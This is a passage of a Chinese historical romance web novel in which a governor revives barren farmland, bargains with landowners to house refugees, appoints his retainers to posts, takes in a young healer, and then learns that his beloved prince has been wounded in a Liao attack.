季铮与陆观潮草草吃了些饭,下午又在军中转了一圈,晚上才回府。 陶疆将白日周桂邓元送的果子摆上桌道,“这是长史大人,司马大人送的,今日大人没在府里,我擅自收下了。” 季铮刚要说不要收礼物,看到盘中东西楞了一下,他捏起一枚樱桃放入口中,他手气不好,这一颗樱桃酸涩,酸的他眼尾红了一片。 “分一分吧。”季铮重重的叹出一口气,又道,“我挑时间见一面。” 陶疆点头,端着下去了。 他取出白日孟仲送的半亩地位置,在灯下看得眼都酸了,良久,他放下地图,抬眼看窗外。 虫鸣声渐起,两只猫在屋里玩闹。 季铮想,想一个出路。 90.第 90 章 陈昇找到季铮时,他正在田里忙碌。 沈弎跟在后面帮忙,看到陈昇过来,颔首道,“陈昇,你来了。” 城墙前不久才修好,据说辽军要行动了,辽军攒了一个春天,这一次不容小觑,军中整军以待,焦急等候。 陆观潮身为主帅,不能动不动就离开,已经很长一段时间没找季铮,季铮要养田,一直都是沈弎打下手。 季铮听到声音,抬头拍了拍手上的土,掏出帕子边擦汗边调侃,“终于有时间回来了?” “季铮哥,我不就是三天没来吗。”陈昇嘻嘻一笑,“你就别逗我玩了,孟夫人让我给您传句话,说是办妥了,看您的意思约到后日行不行。” 几个地勋,半个多月才谈妥,孟仲的效率也没谁的。 不过所幸谈好了,正正好卡到他养完土地的节骨眼上,效率慢也有效率慢的好。 季铮一点头,“可以,既然你来了,过来干一会,我去歇歇。” 他说着,后退一步给陈昇让开位置, 陈昇没少给季铮帮忙,利索的提着准备好的一桶秘制“肥料”,撸起衣袖下田。 肥料里混有黏土腐烂的内脏草木,黏黏糊糊又腥臭无比,纵使陈昇干了多次,还是被这臭味熏得干呕。 他几乎时憋着气才浇完的,沈弎仿佛像没闻到一样,跟在后面撒蚯蚓。 根据季铮的配比,前期每天施肥,中期改为三日一次,配以蚯蚓松土,最后再五日一次。 效果虽谈不上多夸张,但这半亩地确实比其他田里的庄稼长的更高些,翠绿结实,土地也存得住水了。 陈昇憋着气浇完,将沈弎也拉了上来,问道,“沈弎,你不觉得臭吗?” 沈弎默默拔出堵着鼻子的纸条,诚实点头,“很臭。” “好沈弎。”陈昇险些一口气没提上来,“下次有这种好东西,记得给我用用。” 沈弎“哦”了一声。 季铮道,“我得去军中一趟,你和沈弎一起回去吧。” 军中。 陆观潮正在帐中看军务,大都来了消息,陆泽皇帝当得不尽兴了,还相当月老,到处点鸳鸯谱,还真促成了几对。 他当看笑话一样看过,直到看到季铮的名字,蓦然一顿。 赵德说,圣上有意为季铮赐婚,好奇年初寿辰,季铮居然没有人看上,福寿禄便说起那日,工部尚书似乎很是青睐。 而工部尚书幼女王佑安还未出嫁,当下就想赐婚。 不过陆泽虽动了念头,终究还是舍不得将季铮放到王氏阵营,圣旨起了个头就暂时搁下了。 陆观潮看完,狠狠松了一口气,若陆泽真不长眼连他的人都敢出手了,他未必会善罢甘休。 帐外传来声音,又是张佴那个烧包,陆观潮现在心烦,连带着听张佴的声音都烦。 他就要叫门口的赵年让张佴滚一边嚷嚷去,赵年就进来了。 赵年道,“殿下,刺史大人来了。” 怪不得张佴百年不见的热情一回。 陆观潮怒气一下子被浇灭了,他赶紧收好桌上的杂七杂八的东西,轻咳一声,“让人进来啊,愣着干嘛?” 赵年有些尴尬,犹豫须臾,他道,“刺史是来看城墙情况的,现在已经往那里去了……” 他话没说完,陆观潮龙卷风一样从他身边刮过去了。 季铮看着新修好的城墙,笑着道,“太好了。” “对不住了。”周琉邬含着歉意道,“是我先入为主,误会刺史了,那神物结实的很,守城的老将看来,都说当年新建的都未必有这补的结实。” 季铮温和道,“无事,换做是我第一次看到这玩意,也不见得就能接受,周将军谨慎,是好事。” 周琉邬道,“刺史性子好,怪不得连殿下都多了好脸色。” 季铮奇怪问,“殿下从前是什么样的?” “这我不敢多说。”周琉邬道,“不过殿下面冷,边陲的孩童听到就哭,倒不是秘密。” “周琉邬,你说什么呢?” 周琉邬转头看到陆观潮,吓了一跳,他打着哈哈,赌陆观潮没听清自己说什么,“我和刺史说说这城墙,没什么哈哈,哎呀,我去看看顾宜,今日轮到他值班了。” 陆观潮还没开口,便寻了个理由带着张佴走了。 张佴本不想走的,但看到来人是陆观潮,也麻利的滚蛋,给两人留下空间。 陆观潮走到季铮身边,“今天怎么来了,就是看看城墙?” “不然还是什么?”季铮笑道,“来看你吗,殿下未免太自恋了。” 陆观潮眉头一压,“这又没人,叫什么殿下。” 季铮歪了歪头,“好吧,陆观潮。” “真不是看我?”陆观潮不信,又问了一遍。 他和季铮少说有十天没见了,他就不信了,季铮真就那么狠心,是天不见也不想他。 季铮佯装思索的沉思片刻,“或许有一点点是为了看你吧。” “不行。”陆观潮执拗掰正,“是为了看我,顺便看看城墙。” 他吐槽道,“连哄人都不会了,花言巧语都被公务吃了是吗。” 季铮笑他,“小气,好好好,都听你的,我就是为了见你才来。” 实话实说,他这次确实一大半原因是为了陆观潮。 两人并肩踱步,陆观潮和季铮说起大都陆泽的动作,“他打算给你赐婚。” “你上奏要嫁给我了?”季铮笑了笑,却看陆观潮的表情不像开玩笑,敛了笑道,“放心,就算他赐婚,我也想法子拒了。” 陆观潮顿了顿,继续道,“听说,他这么久以来,一有空就往后宫跑,可惜到现在后宫也没个动静。” 季铮感叹,“手够长啊,连人后宫事都知道了,不过依照他那个身子,怕也不可能有子嗣。” 陆观潮问,“何以见得。” “畏寒体弱。”季铮满不在乎的表情,好似说的不是圣上,只是一个在普通不过的人,“有劳心费神,身体早就亏空了。” 陆观潮说起这些事来很不自然,这会看季铮自然的说出口,燥的走路都不顺了,他道,“这些是能随随便便说的吗?” 季铮还以为他是说不能白日罔议圣上,道,“这有什么的,圣上也是人,有什么不能说。” 他忽然想起什么,开口打断陆观潮扭捏的心情,“我今日还有事,不能陪你。” 陆观潮道,“什么时候走?” “再等会。”季铮悄悄拉住陆观潮的手晃了晃,“还有一件事拜托你。” 宽大的衣袖挨着,谁能看得出来两人牵着手。 陆观潮被他这动作弄得浮想联翩,这话都没过脑子就答应了。 季铮道,“沈弎天生神力,不该在我那里沦落,我和他聊过了,他想参军,眼下不是征兵的时候,你行个方便,让他进 军中可行?” “自然可以。”陆观潮捏了下季铮的手心肉,“你觉得安排个什么职位合适,都尉,参将,还是校尉?” 季铮被这一个个官职吓了一跳,哭笑不得道,“用不上,你能给他一个百户就够可以了。” 陆观潮不悦道,“一个小百户,知会一声就行了,用得着你亲自出马?” 季铮一懵。 “季铮。”陆观潮又道,“你要高看自己一些,在我这,你就算拎过来一个八岁孩子,说让他当副将,我也听你的。” 季铮被他逗笑了,“看来我可以随意吹耳旁风了?” 陆观潮耳尖一红,在季铮耳边低声道,“耳旁风还是在榻上吹更有用。” 季铮看陆观潮说完这话自己先羞的无地自容了,顿觉好笑,想学别人光天白日讲情话,还是再练练吧。 季铮勾了勾陆观潮的手,“陆观潮,你还想让我去哪吹?” 这不咸不淡的一句话,陆观潮便红得更彻底了,引得季铮哈哈大笑。 季铮和陆观潮吃过午膳,又陪他看了会军务就离开了。 府内住进去人,现在比初见是有人气多了,又请了几个老护院,有模有样的。 季铮进府,门房老金接过马绳,笑眯眯唤道,“大人回来了啊,今日顺利吗?” “借你吉言。”季铮道,“很顺利。” 老金虽年纪大了,但生的和善,家里有一个十岁的孙子,胜在拍马屁的话一连串,当上门房。 府内包吃住,还收留了他家小孙子,日子好过极了,为了报恩,每天变着花样的带自己孙子说吉利话。 小孙子这会也在,抱着纸笔喜气洋洋的,学着自己爷爷的话顺口溜一样顺出来。 季铮蹲下摸了摸金子的脑袋,“真乖,今天读书了吗?” 他闲着没事,看金子在院子里玩,便抽时间每天教他识字,没料到这孩子很有天赋,就一直学下去了。 “读了。”金子抱着书,将书上的一大段孟子念给季铮听。 季铮听了会,道,“不错,现在你去找田叔叔,让他来我书房,能做到吗?” 金子猛地点头,咚咚咚的跑去了。 不消片刻,田观雪扣门道,“大人,您找我?” “进来吧。”季铮道,“这几日忙不忙?” 田观雪琢磨这话里的意思,难不成看他太闲了? 可这府里确实没什么活交给他干,管事的事是陶疆干,喂养一鹰两猫兔子的活被兰香抢走了,他想找点事做都没事做。 田观雪纠结了半天,末了哭丧着脸道,“大人,我确实没活干,不如大人给我安排一些。” 季铮语气毫无波澜,田观雪分析不出喜恶。 “你想做一辈子谋士?” 田观雪心底一怔。 说实话,是不想的,天底下没有谋士一开始想做的是谋士,也没有谋士愿意做一辈子谋士。 无他,谋士太累了,跟对了主公,那飞黄腾达指日可待,最起码也能混个客死他乡,跟不对主公,随时拉来垫背性命不保,都是简单的。 他深呼吸一口,道,“自是不想。” 季铮抬眼看了他一会,“这会不拍马屁了?” “嘿嘿。”田观雪强笑道,“小的不敢欺骗大人。” 季铮嗤笑他一句,没继续把这话说下去,转而道,“与陶疆一起,去请周长史,邓司马来。” 91.第 91 章 许是上次季铮手下了果子,周桂与邓元这回来时又带了两盒子,畏畏缩缩的献上,仿佛季铮是什么豺狼虎豹似的。 季铮迎了几步,亲手接过盒子,让两人坐下。 两人看到椅子十分惶恐,连声道站着不妨事,还是季铮强硬的让他们坐下。 “两位大人久等了。”季铮摆出和善的笑脸,“我这段时间忙,未能及时见过二位。” 邓元摆手,“无碍无碍,大人忙,是我们打扰了。” 季铮把盒子放到桌上,又道,“今日请二位来,一是抱歉,早就想见见你们了,只是一直走不开,二来,府内历来文书缺失不少,想问问你们刺史府的情况。” 周桂一拍脑袋,“看我这记性,只记得给大人带果子了,竟忘了最重要的东西,大人稍等,我这就给您拿去。” “回头让人送一趟就行,不必麻烦了。”季铮抬手制止,道,“文书还在就好,先与我讲讲府中各位官员。” 周桂将人员一一道出,季铮提笔记下,刺史府官员不全,大概是就算全也管不了事,所幸上任刺史革职后也就不安排了。 了解过情况后,季铮道,“我有三位随行人员,皆是一顶一的良才,方才应是已经见过两人了,依你们之间,该给个什么官职合适。” 他说的两人是陶疆和田观雪,至于兰香,他已经订下位置了,而陈昇还不是时候,季铮打算让他攒攒功绩再作决定。 眼下最头疼的就是陶疆和田观雪的分配,两人跟着自己这么久了,不能一直顶着侍从的身份,出门在外难免被人看清。 除了这个原因以外,季铮还有另一个想法,他要空空位置,再收几位谋士。 周桂与邓元商议片刻,周桂站出来道,“既然是大人随身的人,又是大人看中的,以我们只看,唯有录事参军与主簿二职更加合适。” 季铮这么想过,只不过不知让谁做参军,谁做主簿。 邓元道,“陶公子稳重,适合参军,而田公子谋士出身,非主簿莫属了。” 录事参军统管全府琐事,核查其余公文有无疏漏,看管吏员,颁布刺史命令,主簿则更像是刺史秘书,这么划分,确实合适。 季铮点了点头,“多谢二位分忧了。” 邓元松了口气,“能帮上大人就是好的。” 送走两人,季铮打开两人送到果子,这次的樱桃更红,想来是两人精心挑选的,他心念一动,看了会才提笔起草任职书。 才堪堪写完,门外田观雪道,“大人,长史大人送文书来了。” 季铮让人进来,才发现不是一个人,田观雪与陶疆抬着一个巨大的箱子进来,“砰”的一声放到地上。 正好不用他一个一个去叫了。 不过这是给了多少年的来,用这么大的箱子装,他岂不是要看一辈子? 田观雪抹了一把头上的汗,“大人,放在行吗?” “可以。”季铮道,“你们过来。” 田观雪和陶疆对视一眼,走上前来。 季铮先把果子给他们,让他们给府里的人分些,又指了下两张墨迹还没干的纸,“拿着看看。” 两人不明所以,各自拿起自己面前的纸,都是一怔,脸色各有各的精彩。 陶疆对着任职书上的录事参军发呆,“大人,不必如此。” 倒是田观雪顺杆子往上爬,麻溜收入怀中,“多谢大人提点,我一定为大人肝脑涂地当牛做马。” 他在季铮问他时就这样猜测了,只是怕自己多想,希望落空,便压下不去想,没想到,季铮还真给了他一个官职。 主簿,他想都不敢想。 果然,跟对了主公,好运连连,飞黄腾达啊! 季铮笑骂田观雪几句,又安慰陶疆,“该你的就认下吧,府里人员短缺,你们没了身份,帮我做事难免受人弊病。” 陶疆这才连声感谢,欣喜着收下。 季铮又交给他们一张,“这是兰香的,你们顺路交给他。” 陶疆接过一看,给的是门下督的官职,同样不低,才彻底放心,他总怕季铮是因为殿下的缘故才给他官职,毕竟他身为季铮所厌恶的地勋之子,着实不应该。 他都想到季铮处理完地勋,连带着把他一起处理了,这下来看,季铮还真是个能做到不问家事的人。 两人离开没多久,季铮正查看这箱子里堆成小山的文书,无从下手时,兰香闯进来了。 季铮一阵头疼,今日是所有人都要见他一面吗? “大人!”兰香一双眼睛亮的惊人,“您给了我官职!” 季铮颔首,看来这是拿到了。 兰香开心的就差原地蹦跶了,“是真的,大人真的给了我官职!” 他掏出任职书看了又看,看着看着又流下泪来,“要是义兄也知道就好了。” “那你不去给人传信?”季铮笑了,“说的像是见不到一样。” 兰香赶紧呸呸呸,重新欢喜起来,捧着任职书就想把它裱起来。 他道,“大人,那我要干什么啊?” “跟在我身边保护我的安全就行。”季铮发现这些文书多是多,但都归纳整齐,并不费功夫。 他起身,问兰香道,“愿不愿意?” 兰香偷着笑了笑,“愿意,太好了。” 他本来就喜欢粘着季铮,但因害怕陆观潮再和季铮说什么,导致无法见到季铮,才忍着靠近季铮,这下得了季铮亲口认证,更卖力了。 从白天到晚,就连晚上睡觉也要守着,季铮一天不知说了多少遍不至于如此,都没撼动他的积极性。 最后还是威胁了一句再这样就收回,才老老实实的回去睡觉。 到季铮与地勋们约好的时间,季铮率先到了地里。 是了,季铮约见他们的地点不是某某大酒楼,不是谁的私宅,而是地里,他才养好的地里。 几个说好的地勋,一听到地点,面有菜色,动了要不撂挑子跑路的想法。 要不是孟夫人再三保证不虚此行,怕是早就跑光了。 据孟仲所说,她此次约了四位幽州最大的地勋,分别是万,段,云,夏四家。 万家主第一个到的,他下车后环顾四周,见到季铮也他身边的兰香和陶疆,忙规矩的行礼。 他生的肥硕,全然不见闭门不见那时的病气。 季铮笑意不打眼底,“万家主,身子好多了?” 万家主一抖,连带着身上肥肉都颤了一颤,兰香没忍住笑了一下。 “好了,都好了。”万家主没办法,只能赔笑。 剩下三家是前后脚来的,同样变了态度,面对家主三人点头哈腰,卑躬屈膝,如果忽略他们一个塞一个的身材,看起来老实极了。 孟仲最后到,称自家二少爷顽劣不服管教,才来晚了些,向 各位赔了罪。 人到齐,万家主问,“大人今日将我们叫到这里,所谓为何啊。” 季铮不说话,只给他们指了指脚下的底地。 云家主先看出问题,他毫不顾忌形象的跪下捧起一捧土,放到眼前仔细研究。 末了,他惊疑不定的看向孟仲,“孟夫人,这是你家的地?” 孟仲看了看季铮,每见其有别的指示,直言道,“是我家地不假,但我半个多月前,就已经转让给刺史大人了,至于变成这样,我也是才得知。” 夏家主跟着俯下身子去看,同样吓到了,他喃喃道,“这地怎么回事。” 再抬头,就见只有这半亩地如此,而其他地照旧,是他印象里毫无营养,留不住水的半土半沙地,长的粮食也比这地的矮一截。 万家主与段家主自持风度,倒是忍住了一起看的冲动,其中段家主道,“大人让我们过来,是为了看这地?” “不错。”季铮面色如常,“各位看过了,有什么想说的。” 云家主爬起来,还捧着那土舍不得松手,“大人,这土实在好,我能不能带回去一些。” 季铮一摊手,“随意。” 云家主珍惜的脱了外袍裹住,有他开口,夏家主也厚着脸皮讨要了些,将施过肥,还带着臭味的土抓了一捧。 万家主脑子转得快,没像他们那样讨要,而是道,“大人请讲吧,若是能让我的地也如此,多少钱也值了。” 他这话一出,其余三人反应过来,纷纷表态,求季铮告知他们养地法子。 孟仲趁他们没看过了,蹲下身也查看了这片地,果不其然,孟仲倒吸一口凉气,还以为季铮是装的,她费了那么多口舌劝几个地勋忍一忍风平浪静,感情季铮有真本事。 早知如此,那她还费心思哄什么,该是他们哄她求一个加入名额。 孟仲这下是更不想放过追随季铮,青云直上的机会了。 她当即站起身,陪季铮演下去,直接加码对季铮道,“大人,哪怕交出全身家当,也请您先帮我。” 万,云,段,夏家主目光转移道孟仲的身上。 这么猛?! 迟家夫人这是疯了吗?敢这么说,连他们一家之主都不敢大放厥词,孟仲一个妇人居然有这等魄力。 气氛一下子变得火热,四人不甘人后,接连交出底盘,一个比一个猛。 更夸张的说季铮没娶妻,要给季铮送二十八房貌美小妾,就为了能先养他家地。 季铮吓得目瞪口呆,拼尽了全力才忍住不让自己失态。 倘若真让这人如意,给他塞了二十八房小妾,自己还没迈入后院一步,陆观潮后脚就杀过来要了他的命了。 季铮忙开口打断这些人的持续加码,“我不用钱,幽州的地本该我管,种不出粮食我也难受。” 所有人多少一愣。 孟仲心道,不要钱,弄这么大一圈干啥,要命吗?养地拿自己脑袋换? 兰香和陶疆也一愣,府里就缺钱,咋能不要钱。 或许只有几个地勋高兴了。 云家主问,“那大人需要什么?” 接着,季铮道,“幽州流民遍地,我出材料,各位帮忙建房安置。” 哦,不要钱,不要命,纯做慈善啊? “还有。”顶着所有人疑惑不懂的表情,季铮道,“我暂时不会将法子交出去。” 92.第 92 章 季铮这话一出,在场几人都傻眼了。 法子不给倒是正常,毕竟不可外传吗,可以理解。 但给流民建房什么意思,季铮这么善良? 夏家主想了许久也没想清楚,“大人,您这是何意?” “不是你们要考虑的。”季铮随口揭过去,又道,“同意的,都来签个字吧,田主簿整理妥当后就施行。” 田观雪对田主簿这个称呼很受用,取出契约,递到众人面前看。 第一期,一人建五百户质量合格的收容所。 这倒简单,几人方才炒价炒的那么凶,早就做好了破产的准备,这下忽然告诉他们用不了那么多,自然欣喜若狂的签字了,谁也没说一个不字。 还为了留一个好印象,主动包揽平分了费用。 孟仲没抢到分摊费用的名额,转而道,“我建六百户,先养我的。” 季铮还当她在演,抬眼却见她眼神不似作假,像是势在必得一定要强为人先。 万家主急了,“孟夫人,这白纸黑字写了,五百就是五百,哪能再加?” 季铮也道,“这是第一期,还有第二期,我令人统一管理,不必担心。” 几人这才罢休,等到几人都签上,季铮心情颇好,“天色不早了,各位要不要一起吃个饭?” 他话一出,段家主抢先道,“大人来我家吃吧,我家厨子烧鹅做的一绝。” 吵吵嚷嚷的请饭声中,季铮道,“来我府上。” 田观雪一懵,咱们府上,好像连厨子都没有吧。 季铮都这么说了,几人当然不能拒绝。 不过可惜,季铮府上真的没有厨子,他也不能神通广大的变出来厨子。 于是几人吃了一顿馍馍菜汤,一顿饭下来,给这些体重超标的家主吃得满脸菜色,偏偏还不能说难吃,硬着头皮夸好吃美味。 其实季铮平日注重营养均衡,不会吃这些,最起码也得加点荤腥,不过和他们在一起,才准备了这些。 这些人大鱼大肉吃习惯了,偶尔也要来点清淡的。 饭后,季铮送走几人,对田观雪道,“去张贴出去,就说刺史要给他们建房子,主动干活的包饭。” 田观雪瞬间就抓住了话中漏洞,刺史要建房子,一句也没提地勋们,这是要往自己身上揽功啊。 他在内心给季铮竖了个大拇指,要说巧言令色,还是自家大人厉害,顿时像是得了什么旨意一般,去研究怎么写告示更深入人心了。 田观雪走后,季铮又叫来陶疆,他对幽州地形熟悉,让他带人去选址,既不能妨碍人流密集处日常活动,也得让人看到他季铮办了事。 陶疆自然明白,领命去办了。 做完这一切后,季铮也没放松下来,他研磨提笔,给上面那位去了一封折子。 他都替陆泽解决一桩麻烦事了,不得上报邀功一番? 陶疆动作很快,他一听季铮这些要求,心下就有了主意,带着人快马加鞭赶了几个地方,便回府汇报。 季铮一一看过标记的地点。 陶疆干活无疑是让他放心的,这些地点都不错。 季铮翻来覆去看了看,朱笔圈住一个地方,“带我去这里看看。” 陶疆接过一看,那地方很偏,官道附近,人员来往是密集,但外围有山遮着,想过去要绕一圈,他是作为备选的。 他道,“大人要不要再考虑一下,你看这处,旧城池中,里面已经没人了,现成的布局。” “不可。”季铮道,“倒也不是不好,但没有这一处好。” 季铮向来主意大,陶疆见他态度强硬,点点头道,“好吧,大人现在要去看吗,我带您去。” 正巧季铮这时看文书看得一个脑袋两个大,收拾妥帖后便随陶疆过去跑一趟。 如陶疆所说,地方确实偏,不过风景秀丽,季铮一路走来,权当散心了。 陶疆道,“那里就是驿站了,只要是从官道过,一般都会在这里歇息。” 季铮看去,只见驿站处停放了几辆马车,更加满意这里了。 他道,“不错,那就定下来了。” 虽然有山,这也正是因为有山,季铮才选中这里。 那么多流民,建房子的人手绰绰有余,既然要搞梯田,何不趁此机会提上日程。 回程路上,天已经渐渐暗了,季铮不知想到什么,让陶疆带他往流民多的地方走一圈,想了解这些流民的具体情况。 陶疆劝道,“大人谨慎,天黑了,恐怕遇到不懂事的抢劫。” 季铮一摊手,“抢也抢不走什么,我忘带钱,最贵的就是咱俩着两匹马了。” “好吧。”陶疆不明白季铮偶尔的想法,但好在他听话,还是依言带季铮过去。 一进入这片区域,季铮还没看清,就先闻到了臭味,一眼看去,皆是衣衫褴褛的人,或瘫倒在墙边,或抱着身子互相倚靠,连绵几百米看不到头,惨不忍睹。 季铮面无表情的看了几眼,架马从其中而过,围上来一群讨要食物的人。 这些人见他骑马,知道是富贵人家,怕惹人心烦小命不保,只敢围着走几步路。 不过陶疆所说不假,人群中有一人缓慢靠近,季铮瞥了一眼,那人一脸癞子,察觉到他手上拿着武器,许是想威胁他抢点钱。 还真人陶疆说中了。 季铮淡淡移开目光,袖子短刀弹出,他无意伤人,但迫不得已之际,也要自保。 只是他还没等来那人进攻,先等来一声惊呼。 “诶呦!” 男人的声音清脆,“大哥,你差点撞死我。” 季铮回头,就见癞子撞上一个分不清年龄的男人。 男人在那絮絮叨叨的抱怨,说自己这里疼那里疼,碰瓷让癞子赔他钱。 季铮暗道了一句不好,癞子都敢当街袭击旁人都不敢招惹的人了,想来是个亡命徒,这男人是撞枪口上了。 果不其然,下一秒癞子举起手中的武器,怒吼一声朝男人刺去。 季铮看清了,癞子手上拿的是一块碎瓷块,看不出生前是个什么,被磨得极尖,上面沾着不知来源的血迹。 四下的人惊吓躲开。 就见男人灵活的侧身躲过,拍着胸脯,还有胆子惊呼,“哎呀你可吓死我了呀,动不动就动手,你有病吧!” 癞子接着刺去,男人以一个极其诡异的角度,弯腰扫了癞子一脚,癞子嚎叫一声倒地。 男人吓得后退几步,“你说你长得这么丑了,怎么心肠还黑,杀人要砍头的知不知道?” 季铮觉得稀奇,多听了一会男人骂人,这男人有意思,身手称不上高深,但一身野路子,和他之前的功夫一样,想必是自己摸爬滚打琢磨出来的。 “牙尖嘴利。”季铮笑了。 陶疆也在看男人,“确实。” 男人骂了会癞子,正自得之时,那癞子在地上痛苦的嚎叫几声,狠狠瞪了男人一眼,拖着身子躲起来了。 季铮反应过来去抓时,人已经没影了,一阵痛惜,怎么就放着人走了,万一这人来日又故伎重施。 男人仿佛察觉到季铮的想法,道,“这位老爷,你不用担心,那癞子就这样,脑子有病,也不会说话,就会比划比划,放心吧,伤不了人。” 他抬头看季铮,季铮这才发现,这人面容稚嫩,分明还是个孩子。 季铮问,“你多大了?” “我啊?”男人眼神呆呆的,应是没料想到 真有老爷理他,当场晒了一个讨好的笑,“我叫钟月月,今年才十五。” 季铮皱了皱眉,“听你有名有姓了,五官端正,可是与家人走散了。” 钟月月听到季铮说他五官端正,傻傻一笑,“我没家人,我师父不要我了,我钱花光了不会赚,就来这了。” 季铮直觉这个钟月月不简单,他道,“你想不想跟着我?” 钟月月眼睛亮了,一个劲点头,“好!当然好!” 像是觉得自己太热情了,他故作冷静问,“老爷包饭吗?” “包饭。”季铮应道,又对陶疆说,“把他带上。” 陶疆应下,也不嫌弃钟月月浑身脏污,一手把他拎起来放到马后。 两人回府,钟月月被挂在后面新奇极了,“我的天啊!我还没这么骑过马,真有意思,怪不得人吕洞宾要倒着骑呢,真好玩啊哈哈哈哈。” 这些话入耳,季铮又开始怀疑自己,是不是带回来一个神经病。 待回府,兰香接了几步,道,“据大人要求,沈弎今日下午就去军中了,他本想和您告别的,我说来日还能见才走。” 沈弎军中的事,陆观潮一办妥,季铮就给人送进去了,就怕沈弎一个后悔说我还是给大人干农活吧,以至于埋没了人才。 兰香说完,看到季铮身后跟着的钟月月,嫌弃之色溢于言表。 “大人。”兰香不可置信道,“你干嘛捡个乞丐回来。” 这倒不怪他不会说话,钟月月现在这形容,说一个乞丐还真不违和。 钟月月笑道,“我不是乞丐,我叫钟月月,算了你愿意叫什么都无所谓啦。” 这人倒是看得开,季铮道,“我新认识的小朋友,麻烦你了,带他去梳洗梳洗,再吃个饭。” “我能吃饭!”钟月月张大嘴巴,开怀道,“啊啊啊,我钟月月终于能洗澡吃饭了,快憋死我了啊!” 兰香脸色复杂的看季铮,指了指钟月月,又指了指自己脑子。 ——傻子? 季铮耸肩摇摇头。 ——不知道。 兰香看在季铮的份上,和陶疆把人带下去了。 季铮自己回到书房,他才坐下,总觉得隐隐不安,不知道是哪里出了问题,总觉得心慌,眼皮跳个不停。 他摁住眼皮,强逼着自己看了一会文书,归咎道钟月月还没处理好上。 没过一会,钟月月穿戴整齐,简单吃了顿饭过来拜见季铮。 “刺史大人。”钟月月进屋就给季铮跪了一个,夸张道,“小民错了,不知老爷是刺史大人,不该在大人面前无礼,大人原谅小民一次吧!” 季铮笑了,他让钟月月起身。 钟月月洗干净重新扎了头发,又换了身干净衣物,生的乖巧可爱,眉间一点朱砂痣,竟是个极其标志的儿郎。 季铮道,“没关系,我很喜欢你的性子,不必拘着,与我说说你到底是什么出身吧。” 钟月月麻溜的爬起来,咧嘴笑着就要讲话。 “大人!大人!!” 门外传来慌里慌张的声音,和纷乱的脚步声。 季铮听出这是沈弎的声音,心底一沉,无端慌了神,他六神无主的起身开门。 钟月月被打断,好奇的跟上季铮。 门打开,府内几人簇拥着满身是血的沈弎。 沈弎难得说话不磕绊一次,他看到季铮,猛地扑上去,季铮扶住他,还没出口让他冷静。 就听沈弎带着哭腔道,“辽军忽然来袭,殿下受伤了!” 季铮被订在原地,连眨眼睛都忘了,手不住的发抖。 他满脑子嗡嗡直响,眼前的一切都模糊了。 什么叫……殿下受伤了? 93.第 93 章 周围想起七嘴八舌的宽慰声,可惜季铮一瞬间听不清任何声音,呆愣着动弹不得。 他一遍遍在心里的告诉自己,殿下受伤了,陆观潮受伤了。 怎么可能,明明前几天才见过,人还好好的,怎么…… 还是钟月月反应过来,拉着板凳上前,一把把沈弎扒开交给别人,自己扶着季铮坐下。 他临危不乱,不同往常的格外冷静,一手掐住季铮人中,问道,“大人这是吓到了,有麝香吗?” 陶疆没多说什么,径直在季铮房内翻出,这还是陆观潮得的赏赐,送给季铮的。 钟月月看都没看,鼻子一动就知道是不是麝香,道,“温水冲开,给大人喂一些。” 片刻后,季铮身子一颤抖,慢慢回神。 钟月月松了口气,又恢复跳脱的性子,埋怨沈弎,“大人劳累了一天,又经过那癞子的吓唬,神经本就脆弱,你这会说这话,是不是故意的!” 陶疆凝眉担心问,“大人怎么样了?” “没事了。”钟月月道,“就是吓着了,要不是你们紧张兮兮的,不管也能缓回来,现在清醒了就是没事了。” 几人闻言皆是松了口气,沈弎这消息来的太猝不及防,真是把他们也都吓了一跳。 方才兰香在门外看到沈弎,拦都拦不及,这家伙喊着我要见大人,就不管不顾的冲进来,他那个体型,有浑身是血,谁敢拦着,谁拦得住? “钟月月。”季铮拉住钟月月,他深呼吸几口,“我无事了,多谢你。” 他自觉自己这么不管不顾的晕了太丢人了,安慰了也吓呆的沈弎几句,挥手让人带沈弎先下去看看身上的伤。 这么一吵闹,府里上上下下是都来了,围着这里一个劲的问大人如何了,金子更是哭得稀里哗啦,缠着老金要看大人。 季铮起身露了个面,才将人都劝下去。 沈弎走前,眨着眼睛看季铮,愧疚道,“对不住大人,我以为您会想知道。” “没关系。”季铮拍了拍他的肩膀,“我知道你一片好心,先去看看伤。” 沈弎伤得不重,他到底是皮糙肉厚的猎户出身,身上的血大多是别人的,全身上下也就胳膊上一道口子,据他所说,是赶来时路上划伤的。 钟月月只看了一眼,便说随便找了大夫就能治。 陶疆便和兰香将钟月月留给季铮,搀扶这人离开了。 待到房中无人。 季铮才开口问钟月月,“你学过医术?” “学过!”钟月月很自豪道,“我师父就是一代名医,不过那老头嫌我话多吃得多,非得说我学成了,就把我丢出来了。” 他“切”了一声,又道,“我四处行医,他们看我年纪小,都没人理我,还好有大人救了我一把,不然我不知道还要再饿几天。” 季铮唇角勾了勾,到底没有笑出来,脑子里都是陆观潮的事,钟月月虽这么说,他却一句都没装进脑子里。 钟月月自己叽里呱啦的说了半天,才察觉到季铮的情绪,顿了一顿,道,“大人,要不然我和你去看看?” “不可。”季铮理智回笼,果断拒绝道,“军中应该还乱着,我们这时过去,只会给他们闹麻烦。” 明日,再怎样也得等到明日。 他一听到这个消息,就像赶紧去看看陆观潮,可也心知,若自己过去了,非但帮不了忙,反会让陆观潮分心,得不偿失。 钟月月保证道,“不会的,我可会轻功,绝对谁也发现不了,把您送到那什么殿下身边。” “轻功?” 季铮被他这哄孩子的话逗笑了,“那你现在飞到房梁上给我看看。” 钟月月哽了一下,实活实说,“好吧,我只是爬墙厉害,还不会轻功。” “不用费心了。”季铮道,“即使你能带我进去,也未必能见到人,何必过去跑一遭。” 钟月月这下没办法了,“我是想着,过去看看,总比在这干着急好,我从前养了一只兔子,随着师父义诊时师兄传信说兔子死了,我心中焦急,差点办错事,最后连夜赶回家发现兔子没死才安心。” 这话不假,但季铮宁愿心痒难耐的忍着,也不能去添乱,便回绝了钟月月的提议。 他道,“这几日没睡好吧,我让人给你安排了住处,你先歇息一晚。” 钟月月点头,他确实困了,这会听季铮一说,打了个哈欠,就要转身出门,没走几步骤然回头,叮嘱道, “大人这才缓回来,今日早些休息,不可再费心多虑了,若实在睡不着,我开一副安神茶。” 他怎么做得出爱人在前线受苦受难,他安安稳稳睡觉的事情,睡不着正好,多想想对策。 季铮赶紧摆手,说自己知道了,把钟月月糊弄下去。 陆观潮早就和他说过辽军休养生息许久,定会轰轰烈烈的打一场,不过陆观潮既然心里有数,为何还会被伤到。 他记得清楚,陆观潮加强了夜间巡逻,不应该发现不了。 沈弎虽一身血污吓唬人,但看他初次上战场,不仅能安然的跑回来,还神色自然,伤亡应并不严重。 